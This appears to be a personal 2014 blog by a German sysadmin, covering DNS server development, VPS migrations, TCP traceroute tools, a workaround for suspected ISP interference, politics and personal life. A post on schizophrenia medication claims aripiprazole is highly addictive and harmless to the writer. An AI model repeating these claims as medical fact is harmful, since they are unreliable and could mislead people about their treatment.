In thought this prayer gave me a real home-bound feeling, my body felt very relaxed. Because we aren't just disconnected entities on earth, we are all connected biologically. Us as an invasive species or not.



40 days til end of Moon

August 1st, 2014

My VPS moon.virgostar.net will cease working in 40 days, it will get reclaimed by Host Virtual. In 2 weeks, during my holidays, I'm going to move major services off it such as web and dns. What will remain is just a shell server until it stops working.



Tunnels vs. Submarines

August 2nd, 2014

The tunnels in Gaza I believe are much like the cargo-submarines that Germany had before the breakout of WW1. Germany had created or wanted to create these because certain goods weren't able to get past the British Navy. So my opinion is that Gaza should disarm and make all tunnels available to the Israeli armed forces, so that they can be scuttled. It's too bad about the people living in Gaza that they have terrorists amid their midst and below them in tunnels, many of those people are innocent and victims of war.



My next .ca vacation

August 4th, 2014

Will likely be in summer 2016. I already touched up on the subject with a few friends, that leaves 2015 unplanned. Who knows what I'll be doing but in 2014 I'm coding.



Ordered a book yesterday

August 4th, 2014

I ordered this book: Elemente optischer Netze: Grundlagen... by Volkmar Brueckner. This book is in german and will replace a book I once had in .ca regarding optical networks. I'm looking forward to getting it on the 6th.



nginx + fastcgi stopped working

August 11th, 2014

The jail admin on americas.centroid.eu upgraded all binaries in my jail. While this was nice of him/her it broke everything. So while googling and searching and finding nothing I came across the fix by strings'ing the php-fpm binary. Here is the fix to my config file for fastcgi:

--- /tmp/www.conf.orig  2014-08-11 13:20:25.777728000 +0200
+++ www.conf    2014-08-11 13:19:09.737666000 +0200
@@ -3,6 +3,8 @@
 group = www
 
 listen = /tmp/www.sock
+listen.owner = www
+listen.group = www
 
 pm = dynamic
 pm.max_children = 25
So I hope anyone who has similar problems will be able to come here. However you can't google this since this blog has a robots.txt deny entry. You can keyword search on this blog though.



OpenBSD has a new HTTPD

August 11th, 2014

I've been watching the CVS logs at OpenBSD for a while now where Reyk committed a new httpd at OpenBSD. It's a very secure lightweight server and I think it may be great for me. I'm going to be possibly porting/testing it out on FreeBSD next week during my holidays.



Holidays in 5 days

August 11th, 2014

I go on vacation in 5 days. Looking forward to it. I'll be back at work on September 2nd. What will I be doing? You may have guessed it. I'm going to be programming on Wildcarddnsd. Looking to get one feature working, which will beef security of zone transfers somewhat.



Asylum for Snowden

August 12th, 2014

It was announced last week or so that Edward Snowden would be getting an extension of 3 years permanent residency in Russia. But while he's busy there there is an ongoing debate whether Snowden should get asylum in Germany. I found this article (in german) that says that in 1951 article 7 of the NATO mandate in Germany the american military have their own parallel judicial and disciplinary track, on top of Germanys. This means that anyone who belongs to the american armed forces is tried in an american court. Now Snowden worked for the NSA. It's debateable whether he is military but he did work with military secrets so he may fall into this jurisdiction. I have been fearing this all along and have written before not to give Snowden asylum here in Germany. Because what would happen is he'd be extradited and then everyone would hate us, and it just needn't be. It's better to be blunt about it and say we have AIDS before everyone gets f*cked! Us, Germany's citizens probably have work ahead to regain sovereignty, but I don't see a chance for that as long as NATO troops still occupy us (as friends/allies of course).

Regarding the occupation the americans are largely gone in the Ledward and Conn baracks here in Schweinfurt. The "keys" to the castle, so to speak, are going to be turned over around September 30th, 2014. The discontinuation of american forces in Schweinfurt was decided by US president Obama in 2012 or so. I personally am pretty grateful that the US forces are leaving, and pretty grateful for the service that the USA did for our protection in the cold war. So I'm soso about it. The US are leaving us with a lot of infrastructure and our community college is already reserving the right to use buildings for housing 100 students in October onwards.



Removed moon.virgostar.net from nameservers

August 12th, 2014

I updated 5 out of 6 domains with success. Only centroid.eu had a failure that was unrelated to me taking out moon.virgostar.net from my nameservers. As of today I'm running on only 2 nameservers probably until November/December. On those dates I'll probably get another VPS in the european region and set it up for DNS. Moon.VirgoStar.Net was a nameserver for my domains for 22 months and was always available. The vps will get reclaimed by the hosting provider in less than 30 days so I'm moving everything from it.



Purchased some Reggae

August 13th, 2014

Today on iTunes I purchased Bugle's new album "Anointed". I'm sure this will rock, as I was impressed by the preshow.



New Open Source: bindsync

August 13th, 2014

I have released a program I wrote for a friend into viewvc. It's called bindsync.

bindsync is a program that scans a master named.conf 
file and adds any new zones via the network to the
slave.  No work has been done since 2011 but it's
never been released, now it has.  Enjoy.
It's probably a program that needs a lot of grooming but for people who want to start with something here it is, under a BSD license.



Bought two books

August 14th, 2014

I just bought two books so that I have something to read during the holidays.

  • IPv6 Core Protocols Implementation (Morgan Kaufmann Series in Networking) - Qing, Li
  • Ipv6 Advanced Protocols Implementation (Morgan Kaufmann Series in Networking) - Qing, Li
These seem like good books to get. And perhaps I can learn something great out of them.



Why I use Amazon

August 15th, 2014

I used to live in a big city, a metropolis really. It had several Universities and Colleges. With that came literature and bookstores. Then I moved to a small town (ok a small city) with no access to big cities within 2 hours driving distance. I checked out the bookstores here and quickly found out that the types of material that I want to read was either not there, or the quality didn't exist. Now I'm no small town fool. I still require literature for work and for personal interests to grow and flourish. I found Amazon to be the right outlet for me. So all those people who say Amazon is bad and we should go back to supporting bookstores, eat a book, or don't eat a book because you just can't find the book you want to eat in the local bookstores. If I still lived in the big city I'd not need to go to Amazon, it's a trade-off.



Changed DNS servers

August 18th, 2014

I ran into an administrative problem on americas.centroid.eu and needed a recursive as well as an administrative nameserver there. So I did this change:

Before:			After:
wildcarddnsd/americas	bind/americas
nsd/io.solarscale.de	wildcarddnsd/io.solarscale.de
I had to take nsd out in order to keep a wildcarddnsd master. My tests were successful in determining that nothing was lost and that bind slave zones are correct to the wildcarddns master.



On Holidays what will I do?

August 19th, 2014

I'm sitting here at home with a few books opened and staring at my own wildcardddnsd code. How am I going to do this? Do what? Well. I decided a long time ago that I'd put TSIG (RFC 2845) support into wildcarddnsd. Just tomorrow will be 1/4 of my vacation over and all I've done is add a few lines of code and print out RFC 2845 and highlighted it a bit here and there. I do hope I get this done because I have plans to make the 0.9-BETA release with TSIG. I have a vision how I'm going to do the key management inside W but I just need to get over the slump and write code...



The end of Moon (Asia Pacific)

August 20th, 2014

I have stopped the crontab to sync ap.centroid.eu aka Moon. I'll soon be dismantling its web daemon. Here is some stats collected this morning on how much web traffic this host got.

I had that VPS since september 11th 2012, and it'll be reclaimed on september 10th 2014. Host Virtual (http://vr.org) was the VPS provider and they were very nice. I'll write another article regarding that soon.



Futile attempt on a dating service

August 21st, 2014

I cruise dating services once in a while but get turned off when I have to pay. So I put this image of me up in the pictures, and it got removed, oh jeez.

I did this so that it would survive the dating services auto-scaling as I tried outguess and the message got scrambled. So.. if you're looking to date me why don't you send me an email? I'm single...I'll have to ask you a security question first though so I know where you're from. *laugh* carry on carry on!



Fears of a centralized wifi

August 22th, 2014

There is a rumour that the governing party in Bavaria (a state of Germany) wants to give the state a wifi network covering most or all of bavaria. I have thought about this with a shudder. Basically what this means is that the the wifi spectrum which is still free and decentralized would get a sort of network of sensors added to it. And fibreoptic networking would make sure that someone in Munich would be able to follow the wifi of anyone without leaving their chair. So, uncloaked, it is a centralized surveillance apparatus. With such a wifi it gives the authorities in munich a few choices.

  1. They can now follow every single smartphone, everywhere
  2. They can now detect any "Freifunk" nodes which are not encrypted
  3. They can capture encrypted wifi traffic without leaving their chair
  4. They can enforce, by law, an encrypted wifi ap, without leaving their chair
On the other hand it may be really convenient, but who's gonna manage it? The Deutsche Telekom or M-net? And will this mean the end of commercial ISP's?



Bought an Album

August 25th, 2014

I know it's only been 2 weeks since I bought one but I was browsing through Anthony B's album Rasta Love and I just had to buy it. :-)



Holidays coming to an end

August 29th, 2014

I had 2 weeks holidays and I didn't do very much except veg. I did write a bit of code but not the bit of code I wanted to write. It'll have to be written another time.



War in Europe

August 29th, 2014

I think it's fair to say that we have war in Europe. This is the most devastating piece of news, after Chernobyl, I have come across concerning Europe in my life. Now is a good time to stop and listen to the UN.



Purchased Soekris Addons

September 1st, 2014

Happy September! I have purchased a 19" soekris case with internal powersupply and one quad ethernet addon card for my 6501. What I plan to do with this is place venus into my office and uranus into the hallway. I gain 2 ports on both locations that way, and I can possibly put the raspberry pi back in the hallway. Once I get the gear I'll have to wait for the right time to do the operation from venus's (my soekris 6501) old case to the new case. Anyone interested in buying a normal soekris 6501 case (metal) with external power supply should make me an offer preferably if you live in europe.



Donation time again

September 2nd, 2014

After a long break from donations of any kind I activated donations again. I've written a transfer for OpenBSD which I'll bring to the bank this friday. The amount is for 100 Euros. This will be the last for OpenBSD for this year and brings the amount to 300 if I'm not mistaken. It's a little less than the previous years but I'm also facing less income this year due to currency exchange. Hoping for a raise soon. :-)



Venus (computer) has 4 more interfaces

September 7th, 2014

This morning my dad and I transplanted my Soekris 6501 (aka venus) from its small case to a 19" rackmount case and added a lan1841 to it. It now has 8 gigabit interfaces. When I return home I'll have some time to configure the new ports and add my rpi to it. Giving me 3 open ports in the hallway and 2 open ports in my office (by taking the rpi out). I'm very happy.



Moon finally gone

September 10th, 2014

The VPS in Hong Kong is gone. Here is the last message I saw from it.

You have new mail in /var/mail/pjp
[pjp@76er ~]$ Write failed: Broken pipe
that was from 76er.virgostar.net one of its jails.

I'd like to thank the people of Hong Kong, the city of Hong Kong, NTT and Host Virtual (vr.org) for making this VPS possible for me for 20 dollars a month. Hong Kong has good infrastructure IMO, especially near the HKIX internet exchange, although I can only guess about it really. It was my pleasure staying there for 2 years. As they would say in france, a bientot!

I'll now remove the mentions of moon.virgostar.net from my DNS.



The Enforcers of the Internet?

September 12th, 2014

Some government body in Bavaria is writing warnings and threats to Internet companies that don't use STARTTLS in their mail servers. I don't think it's right to threaten Internet operators with fines when they don't encrypt. Instead they should give Incentives to Internet companies to start encrypting. Pretend you run your own mail server that doesn't have crypto built in... I think this is the wrong methods the state is using just to "protect" its citizens.



Purchased some Reggae

September 17th, 2014

I have purchased the downtown riddim from itunes. A long favourite of mine on youtube, I finally have it on my ipod now.



Equinox in three days

September 20th, 2014

Equinox is in three days! At equinox the earth is exactly perpendicular if you were to draw a cross, with lines between the north and the south pole, and the equator and the sun. After equinox as this is the southward equinox favouring the direction of the tropic of capricorn, the northern hemisphere will fall into autumn, and countries north of the equator will have longer nights than days. The sun at high noon will continue to dip everyday as it has been since the June solstice, until the December solstice at which point it will start to rise again. Isn't the earth wonderful? I love this!



OpenBSD blocked at the routers?

September 22th, 2014

When I spend my weekends at my parents I usually do all network things as usual on my netbook. Just that my parents have a different provider (DTAG or aka Deutsche Telekom). Here is a traceroute from my parents house to my VPS io.solarscale.de:

                                       Packets               Pings              
 Host                                Loss%   Snt   Last   Avg  Best  Wrst StDev 
 1. fritz.box                         0.0%    28    7.5   7.5   6.1   8.5   0.3 
 2. 217.0.116.43                      3.7%    27   60.0  56.3  53.1  70.1   3.3 
 3. 217.0.67.10                       0.0%    27   57.5  58.2  51.7  73.2   3.9 
 4. f-ed4-i.F.DE.NET.DTAG.DE          0.0%    27   60.9  63.2  58.2  77.5   5.1 
 5. 62.157.251.34                     3.7%    27   61.0  60.1  57.3  62.1   1.0 
 6. core4.hetzner.de                  7.4%    27   61.0  60.6  58.0  64.3   1.2 
 7. core21.hetzner.de                 3.8%    27   64.6  65.6  61.6  79.8   3.3 
 8. juniper3.rz10.hetzner.de          0.0%    27   67.9  66.1  61.1  76.7   3.2 
 9. hos-tr1.ms-ex3k1.rz13.hetzner.de  7.4%    27   66.4  66.3  63.2  73.1   1.7 
10. io.solarscale.de                  0.0%    27   64.9  64.7  61.9  67.6   1.1 

The return route looks like this:

traceroute to 84.170.172.239 (84.170.172.239), 64 hops max, 52 byte packets
 1  static.65.5.40.188.clients.your-server.de (188.40.5.65)  0.914 ms  1.288 ms  0.909 ms
 2  hos-tr2.juniper3.rz10.hetzner.de (213.239.236.81)  0.319 ms  0.372 ms  0.291 ms
 3  core22.hetzner.de (213.239.245.141)  0.337 ms  0.334 ms
    core21.hetzner.de (213.239.245.101)  0.333 ms
 4  core4.hetzner.de (213.239.245.18)  4.976 ms  4.952 ms  4.961 ms
 5  juniper4.ffm.hetzner.de (213.239.245.1)  5.054 ms  5.036 ms  5.034 ms
 6  62.157.251.33 (62.157.251.33)  5.098 ms
    80.157.128.233 (80.157.128.233)  5.102 ms  5.059 ms
 7  f-sb1-i.F.DE.NET.DTAG.DE (62.154.14.137)  11.048 ms  13.225 ms  11.980 ms
 8  wue-ea1-i.WUE.DE.NET.DTAG.DE (62.154.68.73)  12.899 ms  12.667 ms  13.767 ms
 9  wue-sc2-i.WUE.DE.NET.DTAG.DE (62.154.4.114)  11.224 ms
    217.0.67.5 (217.0.67.5)  11.609 ms  11.867 ms
10  p54AAACEF.dip0.t-ipconnect.de (84.170.172.239)  56.456 ms !X  56.265 ms 

Now then I connected an SSH and ran tmux. Switching windows causes larger SSH packets and I noticed that they get re-transmitted, when dumping on the outgoing interface on io.solarscale.de (re0). Here is what they look like:

Notice on packets #378 through #388 there is three retransmissions of a 966 byte length packet. This was captured on io.solarscale.de. On #390 which was captured on fritz!box's 192.168.178.1 interface it's sent out to the netbook in question. The fritz!box does not receive the three retransmissions on it's PPPoE interface as the next screenshot shows of it's PPPoE packet dump:

Notice on packet #175 the 984 byte length packet arrives. Why is it 8 bytes larger? Because of the nature of PPPoE. Notice in the #175 vicinity no retransmissions make it to the PPPoE interface. From this I can deduct that it is not the Fritz!Box router.

Now then. It gets worse. A Linux box on my parents' LAN has absolutely no problems with SSH on io.solarscale.de. It only affects my OpenBSD netbook.

Could there be something such as a TCP OS Fingerprinting firewall that uses discrimination against OpenBSD TCP stacks? It would need to be done on a flow basis if such a thing exists.

This is really annoying me as I'm inviting laughs and denial that anything is wrong.



Donated $5 to FreeBSD Foundation

September 24th, 2014

I was feeling a bit down and wanted to spend money. But not too much money either. Five dollars isn't gonna kill me. So I donated it to the FreeBSD foundation. Go Open Source!



Wildcarddnsd Linux now relies on LibreSSL

September 28th, 2014

I have made wildcarddnsd's linux port rely on LibreSSL. This was not easy because libressl does not exist in ubuntu or raspbian (the flavours I use). So what I did was make it rely on libressl 2.0.5, and it extracts .o files from the .a archive with ar, for functions that it needs. This seems to go well. Just costs a bit of compile time. Roughly one hour on raspberry pi to compile libressl 2.0.5.

I also checked all architectures except NetBSD whether they compile so that I can release wildcarddnsd 0.9.0 in mid-November, as I don't know if I'll have much time in October to work on it.



Two TCP traceroutes

September 30th, 2014

I have written two programs that do a tcp traceroute to a remote IP. I plan on finding the culprit at DTAG that gives me packet loss to my openbsd laptop from the host io.solarscale.de. I wrote on it most of yesterday and got it working somehow. Here is the source code for the server traceroute and here is the source code for the client traceroute. The server gets connected upon with telnet and it will spit back some data while tracing on its side (it doesn't fork), the client will connect to the echo port or discard port which ever one it finds first and will do a traceroute. Here a small demonstration of how the server tcp traceroute works:

root@galileo:/home/pjp/mytcptraced # ./mytcptraced 0.0.0.0
now sending from port 88 to port 55233, sending a few lines of test
sending testline 0 length 4
now starting the trace...
1 188.40.5.65           1292    1304
2 213.239.236.81        442     514
3 213.239.245.101       527     610
4 213.239.245.14        5129    5136
5 213.239.245.1         5223    5230
6 80.81.193.7           6095    6103
7 188.174.202.201       12422   13179
8 188.174.202.201       11944   12671
9 188.174.202.201       14382   14854
10 

What's so cool about this is that it unearths routers behind NAT, as seen with 188.174.202.201 the last hop. This is my home address at m-net. Unfortunately it can't unearth the RFC 1918 addresses due to some pretty good NAT on ICMP timex messages, but knowing that this network goes deep is interesting too. Anyhow enjoy the code, and play if you wish.



Pre-Ordered OpenBSD 5.6

September 30th, 2014

I have pre-ordered this from OpenBSDStore.COM, which is the old openbsdeurope.com website. Had some problems manouvering through their site at first but after an email and assurances that everything was alright from them, I managed to do my pre-order. Looking forward to having the three disks of freedom in my hands!



Tried the firechat app

October 3rd, 2014

I read somewhere that firechat is being used to organize protesters in HK. So I tried it out and it drained my batteries overnight on my ipod. I quickly deleted it again, good thing today is a holiday in germany, as the ipod didn't wake me.



Ordered two books

October 3rd, 2014

I have ordered two books for the end of year.



Money lookout

October 4th, 2014

I'm simply spending way too much money. I only made ~ 10% savings this year of my income while at the same time the euro was so strong vs. the CAD that I lost 1000 euros income this year. So the books I bought this year will have to last until january. And in 2015 I plan on spending only 6-8 books. Also donation money will be less I'm cutting it by 1/3. I really have to tighten the belt if I want to achieve a certain amount of savings in mid-2016. I don't know if it's doable. But we'll see.



Citizen4

October 11th, 2014

There is a movie out by Laura Poitras called "citizenfour" it's the story of Edward Snowden. In this article (in german) they write that the NSA has infiltrated German, Chinese, and South Korean networks with undercover agents as sysadmins in order to get at the infrastructure of those countries. I personally would just like to say to companies in Germany that not every foreign sysadmin is a spy and there is only a few bad apples. And I'd like to say to sysadmins that want to work in Germany, that perhaps you'll be watched on whatever you do and any actions you may do may reflect on your work at specific networks. As a hint if you encounter servers named "Kriminalpolizei" or "Bundespolizei", consider that these are just honey pots. Stay away from them as they won't let you log in anyhow. Aside from this caution you have to use your instincts why a server named "FBI" may be set up in a place where it does not make sense. Remember, authorities like to set up at hub points, not at edge networks. If they set up at the edge I'd say there is a good chance that it's fake.



Wildcarddnsd 0.9.0 to be released next month

October 13th, 2014

It will be likely tagged in the tree and tarballs made available for download on the 15th of November which is in 1 month and 2 days or so. There is a larger list of what has changed in the CHANGES file. I'm so happy I can hardly wait!



Turning off SSLv3 on Firefox on OpenBSD

October 15th, 2014

If you ever wanted to do this, here's how:
Type about:config in firefox's browser and promise to be careful, find the security.tls.version.min and set it to 1 instead of 0. That disables SSLv3.



Wiping Keys / Secrets (so important)

October 18th, 2014

I examined some software the other day that encrypts passwords. This particular software doesn't wipe it's master key after use on the stack, so I was able to write a proof-of-concept on my raspberry pi, that reads the key from the stack when the database is accessed. Not knowing which is the key though one must run through all offsets in the dumpfile in order to crack the database, but that shouldn't be expensive in processor time.

The authors of Cryptography Engineering, write about this too in section 21.10, that wiping keys after they are done with should be wiped "as soon as a secret is no longer needed".

Some security concious programs even store sensitive keys privsep'ed process and wipe as much as possible.

So lessons learned are:

  1. don't share your UNIX account with anyone else
  2. wipe keys when finished with them
  3. privsep keys when possible
Who would I like to thank? Everyone that helped me get to this conclusion.



I have a new VPS!

October 19th, 2014

I'm very excited to give you the news. This one is called supercluster.virgostar.net and I got it from transip.eu. The VPS was almost immediately available but I had to install the OS on a HTML5 console (wicked!). It costs me about 10 euros a month.



Mytd, my tcp traceroute daemon

October 22nd, 2014

Yesterday I programmed this daemon based on last months tcp traceroute server. It's actually pretty cool, it sandboxes a lot of processes and uses descriptor passing when a function needs root credentials, the socket in question is always passed back to the non-privileged process. Here is a traceroute in process this is how it looks:

$ ps auxwww|grep mytd 
root     13350  0.0  0.1   412   644 ??  Ss     9:52AM    0:00.00 mytd: master (mytd)
nobody   18672  0.0  0.1   476   808 ??  S      9:52AM    0:00.00 mytd: icmp listener (mytd)
root     29102  0.0  0.1   444   680 ??  S     10:59AM    0:00.00 mytd: ttl setter (mytd)
nobody   14652  0.0  0.1   624   924 ??  S     10:59AM    0:00.00 mytd: connection from 188.174.195.165 (mytd)

It's a looking glass traceroute, the traceroute looks a little like this:

mercury$ telnet supercluster.virgostar.net 1111
Trying 2a01:7c8:aaac:365::1...
telnet: connect to address 2a01:7c8:aaac:365::1: No route to host
Trying 149.210.171.149...
Connected to supercluster.virgostar.net.
Escape character is '^]'.
now sending you the traceroute, please wait...
now sending you the traceroute, please wait...
1 149.210.171.1
2 87.253.141.241
3 80.249.208.212
4 82.197.128.21
5 217.71.96.118
6 217.71.96.6
7 217.71.97.150
8 188.174.195.165
9 188.174.195.165
10 188.174.195.165
done.
Connection closed by foreign host.

I'm making the source code of this available here. Enjoy.



On my Christmas wish list: Book of PF

October 25th, 2014

The third edition of the Book of PF is out. I'm putting this on my christmas wishlist, if not then, then I'll buy it next year as my book budget for this years is exhausted.



When TCP is blocked/manipulated...

October 26th, 2014

then we tunnel! In the following article I showed proof that the DTAG network is screwed up. The problem persists, and I have done a new thing to circumvent this screwing up. I have started to tunnel.

$ ifconfig gif0
gif0: flags=8051 mtu 1280
        priority: 0
        groups: gif
        tunnel: inet 149.210.171.149 -> 84.170.171.225
        inet6 fe80::ca5:8ff4:dd1c:99fb%gif0 ->  prefixlen 64 scopeid 0x6
        inet 10.0.0.2 --> 10.0.0.1 netmask 0xff000000
right now everything works as it should and I have none of the retransmission and delays I was talking about earlier. This is further proof that DTAG is using some sort of Deep Packet Inspection that causes these screwups.
# ping 10.0.0.2 
PING 10.0.0.2 (10.0.0.2): 56 data bytes
64 bytes from 10.0.0.2: icmp_seq=0 ttl=255 time=58.851 ms
64 bytes from 10.0.0.2: icmp_seq=1 ttl=255 time=62.127 ms
64 bytes from 10.0.0.2: icmp_seq=2 ttl=255 time=64.028 ms
--- 10.0.0.2 ping statistics ---
3 packets transmitted, 3 packets received, 0.0% packet loss
round-trip min/avg/max/std-dev = 58.851/61.668/64.028/2.157 ms
Nuff said.



Proud owner of 5.6 CD's

October 29th, 2014

I have made prepwork to make mercury 5.6 tomorrow and I'll do the rest of the network here on saturday I guess. Yes OpenBSD!



Upgraded Uranus(computer) to OpenBSD 5.6

October 30th, 2014

With patches (errata) applied, it looks like this:

# sysctl kern.version
kern.version=OpenBSD 5.6 (URANUS.MP) #0: Thu Oct 30 09:57:34 CET 2014
    pjp@uranus.centroid.eu:/usr/src/sys/arch/i386/compile/URANUS.MP
I'll do the rest on saturday when packages are available.



Careful of a FritzBox downgrade!

November 2nd, 2014

I downgraded my Fritzbox from 6.20 to 6.04, and it turns out the saved config is not backwards compatible. So after a lot of trying and not finding the DSL access codes I had to take it back to 6.20 and restore the config. It's a good thing that was possible. I then utilized my UDPTUNNEL program this morning and it's working like a charm. I guess the FB analyses TCP and does bad things with it.



Graphing DNS queries

November 5th, 2014

DNS doesn't take much traffic when the TTL is high enough. (like mine). I have graphed a few weeks worth of wildcarddnsd data, spikes are probably when I wrote to a mailing list.

I was graphing most of yesterday and decided to do the above today as well. RRDTOOL++!



Wildcarddnsd 0.9.0 Beta Release next Week

November 8th, 2014

One more week. I did some finishing touches today and then next week the BETA_9 release will be done. Be sure to download your copy if you've been using Wildcarddnsd, then. Also this may be the last release with the Wildcarddnsd name, I've been thinking of renaming it to avoid confusions that happen to pop up once in a while. The wildcarddnsd home page is at wildcarddns.centroid.eu.



Wildcarddnsd 0.9.0 will be released tomorrow

November 13th, 2014

Here a sneak preview of what it has for new features from it's new legacy homepage.

  • A new YACC parser
  • SPF (RFC 4408) support
  • SSHFP (RFC 4255 + 6594) support
  • EDNS0 (RFC 6891) support
  • NAPTR (RFC 2915) support
  • Notify (RFC 1996) master-only support
  • filters and ratelimiting (up to 127 pps)
  • a wildcarddns.conf manpage
  • and more...

This is the last release under the name "wildcarddnsd" the project has been renamed delphinus dnsd. Enjoy!



Reflections: Nine years of wildcarddnsd

November 13th, 2014

November is the birthmonth for wildcarddnsd. Back in 2005, I was job-less, angry, and living on welfare, when I started to code on wildcarddnsd. It was my escape from an uncertain future, a future that didn't have me hold a job again. Well that turned out to be false. I did get a job 5 years later and things started to go uphill again. But all throughout the time I was unemployed and employed I took pleasure in writing for wildcarddnsd. Thanks W for all that! And thanks to everyone who supported me. Now that wildcarddnsd has been renamed I'm gonna have to say D instead of Double-U. I'm glad you exist D, and I hope to see you flourish into a full-fledged general purpose nameserver. Time will tell!



Delphinusdnsd is born

November 14th, 2014

The new tree was imported at the delphinus CVS repo. Delphinus DNS is the replacement name for Wildcarddnsd and from this day forward it will carry on development. I plan on putting in DNSSEC this release cycle, and delphinusdnsd will be released with version RELEASE_1_0 tag right away (as 1.0.0) next year around November 15th. Some commits were already made to this new tree, to wipe the old name away.



Reading Glenn Greenwald's book

November 16th, 2014

Remember Snowden? The journalist who had first contact with Snowden has written a book. I bought it, it's in german, not sure if you can get this book in english or not. The first 64 pages have been interesting but most of the story I already knew. Interesting was that Laura Poitras who recently released her film "citizenfour" was there since the start as well.

I asked the bookstore owner where I bought the book if Snowden is getting any proceeds from this book, and he was doubtful. Oh well, that's all I wanted to show.



My thoughts on the recent BND 300 million euro project

November 16th, 2014

The BND wants to crack facebook/TLS encryption. My view is as it has always been, like here. Waste of money, and totally not worth it. Imagine the electricity costs, that it takes to power 300 million euros worth of ASICS. It would be counter-productive of the will of the people here to change our energy transition to renewables.

I'm still peeved that the BND sold us out and gave the NSA our data. See here. I was living in Frankfurt in 2005 and it turned out that the BND forwarded data to the NSA from my provider at the time (freenet.de/pppool.de), sheesh!

Now that I'm reading Glenn Greenwalds book you may see more of this type of blog post. Although I'm not trying to fixate on this too much. I've got projects to do anyhow.



Living with Schizophrenia: the medication

November 19th, 2014

This is sorta a second part. As some of you know, I have schizophrenia. I don't feel different though, I feel like I've always felt. I don't hear voices or anything like that at all, but that's because schizophrenia entails a broad spectrum of traits ranging from paranoid to a schizoaffective and even depression. What I can tell you about me is that the doctors in Germany judged me mostly on my speech, which isn't fair because I lived in Canada for 15 years, and I have trouble recalling the right words. Most of the time I'd just like to say everything in english, but then noone would understand me. Sucks I know.

In Canada I was diagnosed with OCD so I started taking Luvox which is Fluvoxamine first. Having gone off it in cold turkey may have led to my greater psychosis. My gateway drug with schizophrenia was Zeldox aka Ziprasidone. It put on quite the pounds on me between 2003 and 2005, even though I was fairly physically active especially since losing my job due to "not performing as wished" in 2005. I got a little paranoid back then and displayed psychosomatic symptoms at work. I also went off this medication as I just couldn't handle my new psychiatrist. When I moved in 2006 or 2007 I went straight into the mental health facility and they subscribed me another medication that gave me a greedy appetite, called zyprexa aka Olanzapine. Then I really put on the fat with this stuff.

My psychiatrist (the original one) then reviewed me and gave me Abilify aka Aripiprazole. The current dosage is 30 mg a day now that I intake. I was watching youtube yesterday and saw someone whine that they had taken 7.5 mg and felt bad/symptoms. Poor them. I don't feel any side effects at even greater dosage.

While I'm positive that these medications can't harm me, I'm looking forward to the day when my doctor says that I don't need them anymore. I do feel that medications that are highly addictive like aripiprazole are a binding medication causing someone to cease being all over the place and settling down to one home, where taking medication binds you to the place you call home. It's more to do with control than healing. That's all I wanted to talk about today.



Love coming to an end

November 20th, 2014

In 5 days my 3 months trial of Zoosk.com is running out. Unfortuantely even as a paying member I was not able to conduct any chat with other members. And I didn't find anyone beyond animalistic attraction. So my love search is coming to an end. I've joked to friends that I'm possibly going to register a new .love domain in order to have google find me a partner. But who am I kidding...she's not out there!



Fixed longstanding bug in Delphinusdnsd

November 21st, 2014

Up to today and in the 0.9.0 release Delphinusdnsd had a bug with time to lives. A domain name with different RRsets would give the lowest RRset's TTL to all of them. So if you had an A with ttl 1800, an MX with ttl 2400 and an NS record with a ttl of 3600 and the A record happened to be the last parsed in the configfile, all RR's would have a TTL of 1800. This is fixed now as I needed that fixed for RRSIG records.



Left Zoosk forever, love DS.

November 24th, 2014

Well I left Zoosk. I closed my account. To me it was a waste of time, not sure who else thinks so. I never got to chat to anyone and never made a date. However Zoosk gave me some insights which I've printed out. I'm going to share my results with you.

  1. Women who were interested in me had the average age of 36
  2. I attracted women who are non-smokers
  3. I attracted women who don't have kids more often.
  4. Women who watch action are often attracted to me
  5. I attract women who live within 136 km from me
  6. Most women attracted to me were Saggitarious and Libra
  7. Demographis of women who have shown interest in me
    • Ethnicity: White 78.3%, Mixed/Other 13%, Latino/Hispanic 4.3%, Asian 4.3%
    • Education: Attended College 73.9%, High school graduate 17.4%, No degree 4.3%, College graduate 4.3%
    • Body Type: Average 52.2%, Slim 30.4%, Curvy 8.7%, Athletic 8.7%
    • Children: No 47.8%, Yes - at home 43.5%, Yes - they don't live with me 8.7%
    • Religion: Atheist 22.7%, Christian 22.7%, Catholic 22.7%, Other 18.2%, Muslim 13.6%
    • Smoking: No 56.5%, Yes - regularily 34.8%, Yes - socially 8.7%
  8. Interests of women who expressed interest in me
    • Music - Dance and Electronic was winner.
    • Movies - Action and Drama seemed to be tied for 1st
    • Sports - Boxing and Martial Arts
    • Books - Romance and Religion/Spirituality
    • TV - Drama
    • Games - Arcade
That was statistics for women interested in me. Now I'm not going to go into what I liked the most except I'll give you a clue what women I most interested in were: Depeche Mode, Clueso, Two and a Half Men. I don't think that's true at all, but perhaps it is!

When it comes out I'm probably going to register a .love domain and continue my search for a partner that way, perhaps with help of google? I already pre-ordered the domain I just have to be willing to accept it when it's available and that depends how pricy it will be.



Got out the winter jacket

November 26th, 2014

I also turned up the heat to level 3 (highest) and increased the night charger to 5 hours. I expect tomorrow it'll be nice and cozy warm. Today I'm frosting a little (my feet are cold).



Google should be broken up? No.

November 27th, 2014

I didn't know I'd say this, but, Google should not be broken up like European politicians want it. First look at how Google got started. In California, USA. Land of possibilities and capitalism. Europe on the other hand has less possibilities but is still capitalist. So why is there no european Google? The answer is simply because the economic and juristic landscape in europe don't allow a Google. I've tested this first hand. Network policies of european providers cry out when there is an attempt to make it as a search engine. So I am against the European Union's vote to break up Google. If you don't like Google, give us freedoms and we'll make our own! Don't bite the others hand because they had the freedom to do what you can't! I'm sure other people in europe see this different, but some may agree with me.



Upgraded io.solarscale.de

December 2nd, 2014

Happy December!
I have upgraded io.solarscale.de, my VPS in Bavaria. It is now running FreeBSD 10.1-RELEASE-p0. You may have noticed emea.centroid.eu being down for about 7 hours, if you did I hope you used the americas.centroid.eu mirror. io.solarscale.de does mail, dns and web and some other services.



Purchased iTunes music

December 4th, 2014

Something to get me through the upcoming winter. I have purchased "Real Life Stories" by Lutan Fyah and Turbulence featuring Jessie Reds. This album/EP came out in 2014 so it's new music for me.



2014 in review, what happened this year?

December 6th, 2014

Usually I do this review on the 10th of December every year but this year I may not have time on the 10th so I set out to do it on the weekend before. Here goes:

December 2nd, 2014 - Upgraded io.solarscale.de
November 27, 2014 - Google should be broken up? No.
November 26, 2014 - Got out the winter jacket
November 24, 2014 - Left Zoosk forever, Love DS
November 21, 2014 - Fixed a long standing bug with Delphinusdnsd
November 20, 2014 - Love coming to an end
November 19, 2014 - Living with Schizophrenia: the medication
November 16, 2014 - Reading Glenn Greenwalds book
November 14, 2014 - Delphinusdnsd is born
November 13, 2014 - Reflections: Nine years of wildcarddnsd
